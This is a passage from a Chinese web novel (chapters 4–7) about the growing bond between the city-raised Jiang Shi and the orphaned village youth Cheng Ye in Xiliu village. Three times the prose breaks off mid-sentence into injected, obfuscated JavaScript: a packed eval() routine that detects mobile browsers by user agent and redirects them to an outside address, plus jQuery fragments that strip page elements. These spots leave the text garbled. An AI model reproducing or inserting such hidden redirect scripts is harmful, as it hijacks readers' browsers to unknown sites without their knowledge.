程野把手里的自制膏药摊开给江时看,“脏。” 黑乎乎的一团,散发着一股难以形容的味道。 小少爷白嫩的指尖捏着红薯,实在对程野手里的膏药下不去手。 江时瞅着他坑坑洼洼的头顶,想: 这人看起来呆呆笨笨的,昨天被他那样对待了也不生气,今天让他帮忙敷个药应该也没问题……吧? 小少爷是被伺候惯了的,一旦过了心里那关,便心安理得的把脚伸出去,“那你轻点啊。” 程野撩起江时的裤腿。 他才刚起,没换鞋,也没穿袜子,脚跟搭在程野的大腿上,脚弓紧绷,肤色白得能清晰看见上面青色筋络。 江时的脚踝昨天被医生揉过,今天没那么肿,冷风一吹,浮起一层浅浅的粉。 程野低着头,喉结滚了下,伸出没拿膏药的那只手贴着江时的脚底板,然后收拢。 大拇指刚好按在脚背微微凸起的筋脉上,指腹不轻不重地碾过。 江时没察觉到什么不对劲,只是觉得有点痒,没忍住用脚拱了程野的手一下,“你搞快点,我痒。” 程野给他贴上膏药。 贴好的瞬间,少年的脚像一尾鱼一样从他手心溜走,程野只拢到了一手的空气。 空气里还残留点香,那是从皮肉里散发出来的,一般人闻不到。 程野收紧手,眉眼往下压了点。 江时把脚塞进江雪新勾的毛线拖鞋里,懒散地坐在椅子上,边吃红薯边看程野给鸡开肠破肚,看了会他的目光又落在他坑坑洼洼的头顶上。 “喂!”他喊程野,“你这头谁剪的?” “我自己。” 手艺还挺好。 江时把红薯皮丢在地上,瞬间被一只大公鸡给抢走,大公鸡吃了他的红薯皮还不够,虎视眈眈地盯着程野旁边碗里面的鸡肠。 江时:“……” 本是同根生,相煎何太急。 程野把碗里的鸡肠放到高处,看见江时半天只吃了半个红薯,还打了个嗝,像是噎到了。 于是转身给江时倒了碗水。 江时一手拿着红薯,一手端着碗,吃一口红薯又捧着碗喝一口水,吃到后面还剩一点尾巴不想吃,就丢给站在一边拿绿豆眼看他的大公鸡。 大公鸡叼着红薯跑开,江时扶着旁边的墙站起来。 这时候的煤不怎么值钱,江雪在家里烧了炭火,此刻正燃得旺,程野弯着腰在狭小的厨房里熏鸡。 江时慢吞吞挪到厨房门边,扒拉着门框,看着黑乎乎的厨房不想进去,只是探进来半个脑袋,“你在干什么?” 程野跟他解释,“把鸡身上的绒毛燎干净,这样待会才能吃。” 江时不喜欢吃鸡,比起鸡肉,他对忽然冒出来的程野比较感兴趣。 “程野。”他喊他的名字,“你多大了?” 程野抓着鸡脖子给鸡翻了个面,余光里总有张雪白的脸。 “十七,过两个月十八。” 刚过十八没多久的江时:“……” 这人吃饲料长大的吗?十七就这么高了? 江时整个人的重心都倚在门上,逆着光观察里面的程野,他从他短得坑坑洼洼的头上扫过,然后是单薄的黑色外套,手脚都裸露在外。 越看江时越觉得他的背影有点熟悉,“我们是不是见过?” 程野微微侧了下头,“什么?” 江时道:“就昨天,在有家粉店,你是不是卖香菜来着?” 鸡皮被炭火烤得骤缩,油脂滴下,火焰瞬间撩起,程野想到了那道一晃而过的背影以及什么都没放的粉。 江时还在抱怨,“那家店坑死了,做的粉一点都不好吃,害得我只吃几口就回去了。” 程野本来都忘了,江时一说,他顿时又想起来了。 他坐在江时坐过的位置上,吃过他吃剩的粉,他…… “喂!你鸡糊了。” 程野猛地一松手,鸡头死不瞑目地落进炭火里,脖子漆黑一片。 他手脚僵硬地把鸡提出去,喉咙跟被火燎过一样火辣,耳后爬上一抹不怎么显眼的红。 江时没看到这红,对程野的木讷反应已经习惯了。他又问他,“那你还在读书吗?” “我……” 程野一开口嗓子就哑得不行,他别过脸不敢再看江时,咽了下口水才道:“之前读,下学期就不去了。” 江时换了个姿势接着靠,“为什么啊?” 耳后的燥热褪去,程野沉默了两秒,“不想去。” 江时看他那副低眉顺眼的样子,以为他是成绩不好,所以不读。

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江雪回来了,程野午饭都没吃就走了。他下午还有事,等不了这顿午饭。 江雪看他是真的有事,把蒸的馒头全塞他怀里,“带着去,我下午炖鸡,晚上一定要过来吃饭啊。” 她威胁程野,“你要是不过来,我们就不吃饭了。” 江时道:“他是皇帝吗?吃个饭还得等他……” 江雪的手又长在了江时脑袋上。 江时:“……” 见他不服的瞪圆了眼睛,程野眼底沁出一点笑意,“我知道了,晚上一定过来。” - 程野踹着一兜馒头来到河边,柳叶抽了截新芽,溪水还带着刺骨的冷。 高新和身穿皮衣,顶着一头红毛等得腿都麻了,看见程野,骂骂咧咧地抱怨,“我靠,哥你干嘛呢,说好了十点见面,你看这都十二点了。” 程野丢了个馒头给他,“有事。” 高新和有点钱都拿去捯饬他那身行头,要不就去泡妹,父母也不管他,兜里掏出来比程野还干净。 程野给了他一个馒头,他顿时就不生气了,跟程野站在河边一起啃冷掉的馒头。 他一边啃一边打量程野,“我说今天看你怎么这么奇怪,你剪头发了啊?” “你剪它干什么呀,我还想说带你去染个头呢,就那个最近最火的绿色,保准那些妹妹看了走不动道。” 程野说:“滚。” 高新和:“……” 他脖子快伸出三里地,终于咽下一个馒头,“对了,你之前让我问的事我去问了。我大伯他们打算过两天就走,那边厂里有熟人,去了直接就能上班,一个月三四千呢。” 程野咬着馒头朝身边的高新和伸出手。 他没说话,但高新和知道他是什么意思,于是从兜里掏出一包揉得皱巴巴的烟盒,格外珍惜地从里面拿出一根烟递给程野。 “哥,我偷我爸的,你省着点抽啊。” 程野曲着腿坐在河边,柳枝在他头顶轻晃,他手里夹着皱巴巴的烟,张嘴吐出一口烟,眉眼深沉。 他就这么坐着抽了一根烟,直到猩红的烟头灼到指尖才开口。 “我不去了。” 他去了,江时忘了他怎么办? 他不想江时忘了他。 5. 第 5 章 计划得好好的,高新和完全没想到程野说不去就不去了,“不是?怎么忽然就不去了?” 程野把烟头摁进旁边湿润的泥土里,“不想去了。” 高新和完全不接受这个理由,“我行李都收拾好了,就等着和你一起出去闯荡,你现在不去,那我怎么办?” 程野没什么表情的说:“你想去就去,不想去就不去。” 高新和:“……” 他看程野的眼神宛如看个负心汉。 程野没理会他幽怨的神情,站起来拍了下裤子上的灰,“走了,不然工地要迟到了。” 活是高新和他爸介绍的,工地上给人搬砖,一天五十。高新和是因为不想读书,他爸特地让他去吃会苦,程野是单纯的缺钱。 他们到的时候工地上已经聚集着一群人,或蹲着或站着的抽烟。两个半大的少年从路边爬上来,高新和一头红毛显眼得紧。 蹲在石头上的中年男人瞥见那头红毛抓起一块石头就砸了过去,“兔崽子!老子跟你说了多少遍,把你那头发染回来,你死活不听是吧?” 高新和灵活跳开,闪身往程野身后一躲,“你不懂,这叫时尚。” 高权气得脸色一绿。 人群里传来稀稀拉拉的笑声。 程野把高新和从身后揪出来,跟高权打招呼,“高叔。” 高权拿着旱烟在底下的石头上敲了敲,咬着烟嘴吧嗒吧嗒吸了几口,那双略显浑浊的眼睛在程野身上停留了几秒,“听小新子说你要出去打工?” “之前是这样想的,现在不打算去了。”程野回答他。 听他这样说,高权反而露出一个笑来,“不去好啊,你成绩好,安安稳稳的读书,考个大学比什么都重要,钱的事不着急,奔个好前程比现在这五十一百的工钱强多了。” 说着恨铁不成钢的瞪了高新和一眼,“你再看看你,吊儿郎当的,听程野要去打工,你也要去,你真当工是那么好打的?” 高新和不服气,“有什么不好打的?我听我婶娘她们说,只要往那里一坐,打打包,一天就有一百。再说了,我成绩又不好,一中的学费那么贵,花在我身上简直是浪费。” 高权恨不得搬起脚底的石头往他脑门上敲。 他们在原地等了二十多分钟,远处来了几辆大车,里面都是砖头和水泥,而他们的工作就是负责把砖头和水泥运上去。 程野体格大,哪怕才十七,可往那里一站,比很多成年人都要高大,混迹在人群里也不说话,沉默寡言的。 不过他干活很利索,力气又大,原本对高权叫他来有些微词的人,看见他一口气扛三袋水泥时默默闭上了嘴。 这一搬就搬到了下午六点,远山像泼墨一样,不远处村户陆陆续续亮起灯。 工头头上挂着个矿灯,灯光从聚集的人群里扫过,“安静、安静,排队站好发工钱了!” 一天五十,程野和高新和只干了半天,肩膀都磨起皮了,也只拿到二十五。 回去的路上高新和和程野依旧走小路抄近道,高新和累得路都走不动,一头红毛被水泥染成灰色,他试着动了动肩膀,浑身火辣辣的疼。 “靠!半条命没了才二十五,还不如进厂打工。” 程野蹲在河边洗手。 高新和手欠折了条柳枝含在嘴里,“程哥,我爸说让你今天去我家吃饭。” 程野洗完手开始洗脸,刺骨的溪水从他皮肤上流淌过,他眉头都没皱一下,“不去了,我今天去江姨家吃。” “啊?”高新和嚼着柳枝,“我记得你跟她不熟啊,怎么忽然就去她家吃饭了?” “我靠!我想起来了……”他道:“昨天我去我外公家没回来,我听我妈说江姨刚认回来的那个儿子丢了,大晚上的,大半个村的人都被她喊去找人了。” 程野伸手往头上一摸,摸到一手的灰,他弯下腰,开始洗头。 高新和在旁边说:“他们说江姨带回来的那个亲生儿子长得老好看了,你见到了吗?有我帅吗?” 冰冷的溪水沿着程野的脸滑落,没入他被冻得泛红的胸膛,他站起来抹了把脸上的水,“你回去吧,我走了。” 叭叭了半天一句话也没得到回应的高新和:“……” 他跟在程野屁股后面,“你说我跟你一起去怎么样?反正都喊你吃饭了,也不差我一个吧?” 程野停下脚步,压着眉看了眼高新和。 高新和:“……” 得。 - 江时扶着墙跟在江雪身后,看着她洗好小葱,又从角落里拿出一把香菜。 “那个……” 江雪顺手从角落里捞出一根棍子塞到他手里,“不用你帮忙,去坐着。” 江时握紧棍子,“不是……我是想说,我不吃葱跟香菜。” 江雪:“……” 江雪去剥蒜,江时弱弱,“蒜我也不爱吃。” “……” “得。”江雪拍拍围裙站起来,“跟你爸一样,这也不吃、那也不吃。” 骤然听到这个称呼,江时愣了下,条件反射地朝堂屋看去。那边的墙上挂着一张照片,看样子是从一张合照上裁剪下来的,画质很糊,可哪怕是这么糊的画质,也掩盖不了男人周身的气质。 江雪并不忌讳在孩子面前提起死去的丈夫。 “你爸跟你一样挑食,不过那时候穷,连饭都吃不上,自然也顾不上挑,后来生活好了点,结果没享几年福就走了。” 说到这里,江雪笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165296|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“其实你跟他长得很像,那时候我就是图他好看才跟他在一起。我心想啊,我们俩生下来的孩子肯定很好看,现在看来,我当时的想法果然没有错。” 天色渐晚,格子窗最后一点光也溜走,黑暗从四周漫延。 江雪拉开灯泡的线。 “他是个孤儿,大冬天的被丢在河边,被一个捡破烂的奶奶捡到,那天是十八,所以叫他何十八。” “刚怀你的时候我们就说好了,生下来的孩子跟我姓。那时候你在我肚子里才三个月,他跟别人去悬崖边找药,不小心摔下去,人当时就没了。” 那个说要和她过一辈子的人,一转眼就成了挂在墙上的照片。 “每个人有每个人的命数,该来的迟早会来。” …… 江时坐在门口,旁边放着根差不多有他手腕粗的棍子。 那么冷的天,天边竟然挂着几颗星,晚风拂过门口梨树光秃秃的枝丫,程野带着一身潮湿的水汽爬上来。 光线昏暗,江时看了会才从这高大的轮廓认出程野的身份。 他没想到这位哥蹭饭还挺准时。 也不能说是蹭饭,毕竟晚饭的鸡还是程野拎来的。 这回江时很有当主人的自觉,“旁边有椅子,自己拿。” 而他自己连屁股都没动一下。 程野没去拿椅子,而是隔着差不多一米的距离站在江时面前,从兜里掏出一包糖递给他,“给你。” 江时接过,举着包装对着灯光,看着上面的“小白兔”三个字,笑了,“你这是在哪里买的?” 程野不知道他喜不喜欢,眼神从少年上扬的眼尾划过,最后落在那张形状饱满的唇上。 “村口小卖部,不贵,才五块。” 五块对之前的江时来说的确不贵,他撕开包装,从里面拿出一颗“小白兔”,扭开上面那层纸,含了进去。 江时砸吧一下嘴,没尝到多少奶味,倒是品到了一股浓烈的香精味道。 难怪五块钱可以买那么一大包。 他把剩下的糖丢到刚刚在旁边坐下的程野身上,“你自己拿着吃吧。” 程野闻着他身上传来的甜腻香味,捏着包装袋的一角,“是给你的。” “我不要。”江时道:“一点都不好吃。” 说完他感觉这话有点伤人,人家大老远的带糖给他,结果他还嫌弃。看不见程野的脸色,江时只能找补,“呃……我不是很喜欢这个味道。” 程野低头拿了颗糖出来,嗅着从江时那边传过来的味道,塞了颗到嘴里。 劣质的香精在口腔漫延。 “我知道了。” 他得买更贵的。 江时:“??” 你又知道什么了? 6. 第 6 章 江雪拿着锅铲站在厨房门口探头,“别聊了,吃饭了!” 不大的四方桌上放着几盘菜,三人一人一边。江时端着一小碗鸡汤吹了吹,试探着喝了口,带着香气的温热液体顺着食道滑下,他眯了眯眼。 竟意外的好喝。 程野夹了一筷子土豆,听见旁边的江雪开口,“你下午干嘛去了,怎么浑身的灰?” 他看了眼江时,喂了口饭到嘴里,“旁边有个工地,去跟他们干了半天活。” 江时又慢吞吞地嗦了口鸡汤,听见程野的话,眼神挪到他身上,在灯下,他看到了程野灰扑扑的衣服裤子。 他不动声色地往后挪了挪。 这微小的距离江雪没察觉到,只有程野默默握紧手里的筷子。 江雪道:“你才多大,那工地又是搬砖又是抗水泥的,你哪里做得了?” “没事。”程野也往后挪,让自己离桌子远一点,“我力气大。” “力气大怎么了?你还小,万一伤到哪里,以后怎么办?”她瞪了眼程野,“往后挪干什么,菜都夹不到了,坐过来!” 程野只能又往前移了移。 江时喝了半碗鸡汤,就着土豆丝吃了小半碗饭就饱了,期间一块鸡肉都没吃。 江雪以为是他不喜欢吃鸡肉,其实是她砍得太大块,连皮带肉的,江时觉得啃着麻烦。 和江时的小鸟胃相比,程野就吃得多了,用炭火闷出来的一小锅饭大半进了他的胃。 桌上的菜大部分被他扫干净,江雪越看越满意,乜了眼在旁边低着头用手机玩推箱子的江时,“你看看你,三天吃的还没人家一顿吃的多,难怪瘦得跟竹竿一样。” 江时只觉得无辜躺枪。 吃完饭按道理程野应该走的,可江时坐在火边,脸颊被炭火熏出一层很浅的粉色,卫衣宽松,半截精致的锁骨若隐若现。 他忽然就不太舍得走了。 江雪留他玩一会,他就搬张椅子坐在江时身边看他玩推箱子。 推箱子是个操作简单的小游戏,不过越到后面难度越高,江时不喜欢思考,拿着手机胡乱推,导致经常堵进死胡同。 手机里的像素小人推着箱子往前走,带着点热意的呼吸落在他耳后,下一秒程野低沉的声音就响了起来,“再往前走你就被堵里面出不去了。” 江时抬头看了他一眼,闻到了他身上粉尘的味道。他用屁股拱着板凳往另一边挪,压根不相信程野的话,继续往前推。 然后他的像素小人就堵在了死胡同里。 “……” 江时抿着唇,重新开了一局。 玩了会,程野又说:“前面是墙,你下不去。” 江时不开心了,“到底是你玩还是我玩?” 见他垮着脸,程野有些无措,“对不起,我只是想……” “想什么想?”江时道:“你自己没手机吗?盯着我的手机干什么?” 江雪在喂猪,听见说话声,拎着桶往里面看了眼,“江时,别欺负程野,一起玩玩怎么了?” 江时脾气上来了,把手机丢程野怀里,站起来就要回房间睡觉,“那给你玩,我不玩了。” 程野拿着他的手机跟在他身后,“对不起,我没有想玩,我只是想让你赢……” 回答他的只有重重关上的门。 …… 江雪喂完猪,回来发现程野拿着手机呆呆地站在江时房间门口。他抬手似乎想敲门,但又怕惹里面的人更生气,手举起又放下。 “不关你的事。”江雪道:“他这两天心情本来就不好,不是故意要为难你的。” 见他垂着眼不说话,江雪叹了口气,“本来想着你们是同龄人,江时他来这边也没个朋友,以为你们能玩到一起。是姨想当然了,对不住你。” 程野安静了几秒,把江时的手机放在门口的柜子上,还有那包他嫌弃的奶糖。 “是我的错。”他哑声道:“我先回去了江姨。” …… 江时其实也不是生气,只是身边莫名其妙的杵着个大块头觉得烦,他一向不会收敛自己的脾气,发完火后又觉得不好意思。 程野虽然撞了他,但任劳任怨的伺候他,还把家里的鸡都给拎过来了,被他骂了也不知道还口,妥妥的人老实话不多。 想到这里,江时在被子里滚了两圈,咬着被角有点后悔。但要他就这么出去给程野道歉,他也拉不下这个面子。 纠结来纠结去,江时给自己滚睡着了,醒来已经是第二天早上。 今日放晴,大清早太阳明晃晃的,江时起了个早。 一打开门,他就看见放在门口柜子上的手机和一包奶糖。奶糖就少了两颗,包装袋撑得鼓鼓的。 江时靠着门,鬼使神差地从里面扣出一颗糖,依旧是浓烈的香精味。 昨天被他那样说,程野脾气再好,估计也不会再搭理他了。 要说难过也算不上,只是他身边从来没遇到过像程野这样的人。 结果江时刚伤感不到一秒,一转身,就看见蹲在自家院子里的高大人影。 “……” 他杵着棍子走到门口,特地绕到那人面前,果然看见一张熟悉的脸。 “你怎么过来了?” 这边一出太阳,温度就高,程野没穿昨天那身衣服,而是套了件T恤。T恤有些小,领口被洗得变形,背后还破了个洞,不合身地贴在身上,紧实的肌肉一览无余。 他旁边放着个把手断了的锄头,手里拿着根木棍打算削成合适的大小。 听见江时的声音,他站起来擦干净手,从又短又肥的裤子里掏出一包糖递给江时,“昨天对不起。” 江时低头,发现是一包真正的大白兔奶糖。 他愣了几秒,“什么意思?” 程野道:“你说昨天那个不好吃,我问了,这个是最贵的,给你。” 阳光有点刺眼,江时没接,“给我干什么?” “你昨天不是说不好吃……” 江时打断他,“我说不好吃你就换?难不成我要什么你就给什么?” 程野呼吸空了几拍,喉结攒动,“可以,只要我有。” 只要你…… 他看着少年在阳光下白到仿佛透光的皮肤,密长的眼睫扫下,像振翅的蝴蝶停在他心间。 只要你能把目光落在我身上,看着我。 江时没察觉到粘在身上的隐晦视线,对程野有些无语,“你是不是脑子有毛病?我们又不熟,我亲妈对我都不这样。” 程野很早熟,小时候他爸打他,他有能力的第一件事就是反抗。他的反抗很有成效,他肋骨断了两根,程建斌没了一根手指,可没人夸他勇敢,他的母亲看他宛如看个怪物。 那时候他就知道,有的心思不能表现出来。至少不能过于急切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是不属于溪柳村的好看。 高新和看呆了,直到程野挡在江时面前他才回过神。他忘了自己是来干嘛的,绕过程野往江时跟前凑,“你就是江姨新认回来的儿子吧?闻名不如见面,我叫高新和,按照辈分,我是你表弟。” 江时没喊,看着高新和那头酒红色的毛和他黢黑的脸蛋,心想他染头发的时候没人告诉他这颜色显黑吗? 当然了,可能只是他人单纯的黑,所以染什么都显黑。 跟程野呆久了,高新和练就一身自来熟的本事,江时不搭理他也不觉得尴尬。 “听他们说你之前在城里长大,怎么样?城里好玩吗?” “还行……”江时懒洋洋的,“肯定比这鸟不拉屎的地方好。” 高新和又凑过去,盯着江时的脸,“你真的是男的吗?怎么长得比女孩子还……” 程野单手拽着高新和的后颈,感觉他没怎么用力,高新和就被拽得往后退了半米。 高新和回头,看见程野压着眉看他,那眼神冷冰冰的,像一头被侵犯了领地的狼,看得高新和心底没由来一紧。 “怎……怎么了?” 7. 第 7 章 程野拽着他往后一惯,松开手,“说话就说话,靠那么近干什么?” 高新和只觉得后颈麻麻的,他伸手摸了把,不明白程野为什么生气,“这不是没见过嘛,对了,你怎么在这里?” 程野问他,“你来干什么?” 高新和的注意瞬间被带偏,“江姨昨天在我家借了个锄头,我妈下午要去挖地,让我来问问她还用不用,不用的话我来拿回去。” 程野拉过椅子坐在高新和和江时中间,把削好的木棍朝锄头的接口插进去,拿着斧头敲了敲,然后递给高新和,“昨天不小心被江姨挖断了,现在给你修好了,拿去吧。” 高新和一脸懵逼的接过锄头,“你还会修这个啊……”他左右看了看,终于找到违和的地方,“不是,你们怎么会在一起?” 他的好兄弟背着他偷偷干了什么? 江时悠闲的坐在椅子上,对比旁边的程野,他活像一个压榨长工的地主。 他咳了声,解释,“我在回家的路上被他撞得崴了脚,他心里过意不去,所以来看看我。” 高新和挠挠脑袋,又看看程野,开始怀疑自己对兄弟的了解程度。 程野会有这么好心? 可他一看江时的脸,心底顿时有点了然。要是他撞到这么好看的人,也会觉得过意不去。 一见到江时,高新和就不舍得走了,顶着程野冷冰冰的目光,自来熟的拿椅子坐江时旁边跟他聊天。 “你长得跟江建安完全不一样。” 江建安也就是现在的宋建安。 高新和道:“江建安又黑又瘦,跟个猴一样。当然,不止他黑,其实这边的人都黑,老师说是这里紫外线强的原因。不过我感觉江建安比其他人都要黑一点,估计是遗传的。” “他这个人无聊得很,一天到晚只知道学习,每次我妈打我开头都是江建安怎么怎么样,整个村我最讨厌的就是他了。” 江时说得笑了起来。 可能是怕他多想,别人当着他的面很忌讳提起宋建安这个人。高新和脑子里估计是缺根筋,想起什么就说什么。 程野站在后面踹了他屁股一脚。 高新和捂着屁股回头,不解的看他,“不是哥,你踹我干什么?” 程野:“……” 江时倒不觉得自己和宋建安之间有什么见不得人的,他主动问高新和,“那他人怎么样?” 江时一开口,高新和就屁颠屁颠的凑过去。 “我跟他也不熟,主要是他天天只知道学习,平时最看不起我这种成绩不好的人。反正他就是那种家长嘴里别人家的孩子。” 没想到一转眼真成别人家的孩子了。 “不过……”高薪和压低声音,“他最看不惯的其实是程哥。” 江时看了眼站在他们身后充当背景板的程野,“为什么?” “这事说来话长了,话说那日万里无云,忽然间风云变幻,只见……” 程野拽着他的后颈将人提起来,“你该回家了。” 高新和的脖子被衣服勒住,艰难地伸着,“我……还没……说完……” 程野:“再说下去你妈就找上门了。” 想到自家老妈火爆的性子,高新和缩了下脖子,他从程野手里挣脱出来,“我是得该走了,对了哥,我爸说下午还有活,你还要去吗?” 程野自然是要去。 高新和摸了把自己火辣辣的肩膀,不是很想去,但是他又觉得自己是个讲义气的人,咬着牙也打算跟程野一道去。 江时看着红毛拎着锄头风风火火地跑远,问程野,“你跟宋建安关系不好?” “算不上不好,只是不熟。” 两人虽然在一个班,其实一年到头也说不上两句话。 程野和谁都说不上两句话,他和高新和能当朋友,全靠高新和脑子有点问题。 和昨天一样,在江雪干活回来前,程野把饭给做上。想着江时昨天喜欢吃土豆,他比江时还熟悉的找到土豆,削皮切丝一气呵成。 一看就是经常干活的人。 江小少爷十指不沾阳春水,看别人做饭倒看得津津有味,“你在家也是自己做饭吗?” 程野切菜的动作很快,说话时动作没有丝毫停顿,“嗯,自己做,我家没人。” “没人?” “妈走了,爹刚死没多久,我现在是个孤儿。” 江时愣住了。 “抱歉,我……” 程野把切好的土豆放盆里用水泡着,“不用抱歉,这件事谁都知道。” 与其别人说还不如他自己告诉江时,还能顺道卖个惨。 江时看着他那件不合身的T恤,又捏了下手里的糖。 他可真该死啊。 江雪今天比昨天回来得早一点,程野在江家吃了午饭才去工地。 等到程野走后,江时犹豫了会,问收拾碗筷的江雪,“我听程野说,他是个孤儿。” 江雪没想到程野会把这个跟江时讲。 她幽幽叹气,“这孩子命苦,他爸又喝又赌的,喝醉了输钱了就回来打他妈,他妈受不了跑了,他爸就打他,后面他长得比他爸还高还壮,他爸这才收敛一点。” “没想到造化弄人,两个月前,他爸跟人喝酒,醉倒在路边,大冬天的,硬生生给冻死了。” “他爸一死,对程野来说,不知道是好事还是坏事。” 说着她塞了根香蕉到江时手里,“这孩子话少,平时也不爱跟人交流,他爸走了,他就这么一个人硬扛着,我也是看他可怜,所以借着让他照看你的理由让他来家里吃饭,你对人家好一点,别老是欺负他。” 江时下意识反驳,“我没欺负他……” “是是是……你没欺负他,是他专惹你不开心。” 江时:“……” 江时垮起一张脸。 - 江时在家躺了三天,脚终于能下地走路了。 今天是周四,溪柳村赶集的日子。 程野来找江时,后面还跟着个高新和。 人还没到,高新和就先喊了起来,“江时!江时!我们来找你去赶集了!” 江雪种的地很多,别人出去打工没人种的地她就拿过来种,又养猪又养牛的,每天忙得不行。 这段时间下雨,她忙着收拾地,等开春了好播种,实在抽不出时间去街上买东西。 她自然也指望不上江时,牵着牛在路口等程野,看见他就往他手里塞了张钱,“你去街上帮我打一斤酒,江时脚崴了,我说要打酒给张叔喝,然后再买两斤排骨回来,剩下的钱给你们当零花,想买什么就买。” 江时感觉程野才像江雪寄予厚望的亲儿子。 从家里到街上不算远,走路大约二十分钟左右,不怎么长的一条街,两边是卖各种东西的摊贩。这里的年轻人大多都出去打工,街上来来往往的都是些还没开学的学生和老年人。 江时没逛过这种街,看什么都觉得稀奇。 高新和问他,“你原来待的地方也像这样吗?” “不像。”江时道:“那边不赶集,不过有商场和超市,逛这个和逛超市的感觉差不多吧。” 他低头看着前面一个老奶奶堆在地上卖的东西,“这是什么?” 程野不知道什么时候把高新和挤开,自己站在江时身边,“这边叫地瓜,可以当水果吃。” 江时没见过,觉得有点稀奇,他问老奶奶多少钱一斤。 老奶奶说的方言他听不懂,正想扭头询问,结果旁边的程野从衣服里掏出钱,“来两斤。” “哎……我还没说要买呢。” 程野说:“尝尝。” 尝尝就尝尝。 于是江时莫名其妙买了堆东西“尝尝”,等他回过神来时,程野手里已经提了好几个袋子,里面全是吃的,而他手里还拿着根糖葫芦。 江时有点担忧,“买了这么多吃的,打酒和买排骨的钱还够吗?” 程野依旧话很少。 “够。” 他说够那就是够,江时放心的咬了口糖葫芦。 逛了会江时就觉得累了,程野察觉到,利索地买了酒和排骨,打算打道回府。 程野和高新和没什么东西,大部分都江时的。他买得最多,可手上却空荡荡,吃了一半的糖葫芦是他唯一的负重。 江时有些过意不去,“要不我拿点?” “不用。”程野把排骨和酒递给高新和,“我们俩拿就够了。” 高新和:“……” 他看着江时的脸,默默接了过来。 算了,对方一看就和他们这种大老粗不一样。 再回走十分钟左右,就到了当时江时走错路的三岔路口,路口边上蹲着几个染着黄毛的青年,旁边还停着一辆摩托。 那几个青年抽着烟打量着来往的路人,看见江时的脸时眼睛亮了亮,中间那人朝他吹了个口哨。 江时皱了下眉头,脸色缓缓冷了下来。 没想到那几个人吹口哨还不够,等到江时走近,朝他露出一个不怀好意的笑,“喂,你是男的女的?要不要哥哥们带你去玩?” 江时的长相是那种带着攻击性的锐利美,只是他平日里总是懒洋洋的,像收了爪子的猫,哪怕被惹毛了,也只会拿尾巴抽人。 而此刻他完全冷下脸来,猫的爪子张开,连目光都带着能伤人的尖刺。 “我是你爹,想带你爹出去玩不得跪下来求求我?” 几个社会青年当场就黑了脸。 “靠!”中间带头的那个骂了句脏话,把手里的烟一丢,站起来,“你什么意思?” 江时刚想张嘴说话,一只手按在他肩膀上。 程野往前一步,高大的身躯将江时挡在身后,他盯着那几个混混,没什么感情地开口,“滚。” 领头的男生见他这样更是不爽,他伸手从摩托车后座上扯出一截钢管,当即就要朝程野走去。 他身边的小弟盯着程野的脸看了会,拉住了男生,靠在他耳朵边小声说着什么。 他说完后,男生有些不确定地看了眼程野,表情迟疑,再加上不远处来了一群人,他只能放下举起的钢管,朝地上吐了口唾沫,“你给我等着。” 男生跨上摩托车,后面坐着一串的人,临走时,他又朝江时吹了个口哨,“小美人,等哥哥有空了来找你玩啊。” 江时:“……” 谁要和精神小伙玩。 高新和虽然染着一头红毛,胆子却比谁都小,黄毛一开口,他就蹿到了程野身后,等到他们走了才冒出脑袋来观察程野的脸色。 奇怪的是,程野并没有什么生气的神色,只是把右手的袋子换到了左手上,将高新和从身上扒拉下来,语气如常,“走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165298|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江时打小就长得好看,从小到大经历的骚扰多不胜数,只是大城市大家比较文明,不至于像这几个小混混一样下流。 只要没造成什么实质性的伤害,江时懒得搭理。 毕竟这种混混才是最难缠的,最好别招惹上他们。 吃完了三颗糖葫芦,江时觉得有点腻,那一刻他也不知道怎么想的,就这么把手里吃剩的糖葫芦递给程野,“我不要了,你要吃吗?” 程野接过他不要的糖葫芦。 站在原地看着两人并肩往前走的高新和:“……” 不是,难道刚刚发生的一切是他的错觉? …… 程野把江时送回去之后就去工地上班。 高新和跟着他搬了几天的砖,到现在说什么也不想去了。 什么兄弟情?他肩膀都快要断了。 他和程野到岔路口就分开,“干了两天活,我还是决定去读书算了,下个星期就开学,我寒假作业还没写完呢,就不跟你去了。” 高新和觉得程野老是在江时家蹭饭吃也不好,毕竟两家没那么亲,“对了,我妈今天煮猪脚了,你下班跟我爸一起来吃饭啊?” 程野张嘴咬住还剩三颗的糖葫芦,低着头穿外套,说话时声音含糊不清,“晚上我还有点事,不来了。” “下班天都黑了,你能有什么事?” 程野没回答,穿好衣服捏着开始融化的糖葫芦朝工地大步走去。 他背对着高新和挥了挥手。 工资依旧是日结,拿完钱工人们还聚在一起聊天,程野悄无声息地从人群里退出来。 夜色降临,深山里传来乌鸦嘶哑的叫声,程野选了个跟回家的路完全相反的方向。 晚上的街上没什么人,江时上次吃的那家粉店还开着门,老板出来倒潲水,看见程野路过时愣了下,“几天没看见你了,大晚上的,干嘛去呢?” 程野的脸隐藏在黑暗里,声音很平静,“去买点东西。” 老板转身进屋,程野则去了隔壁的小卖部。 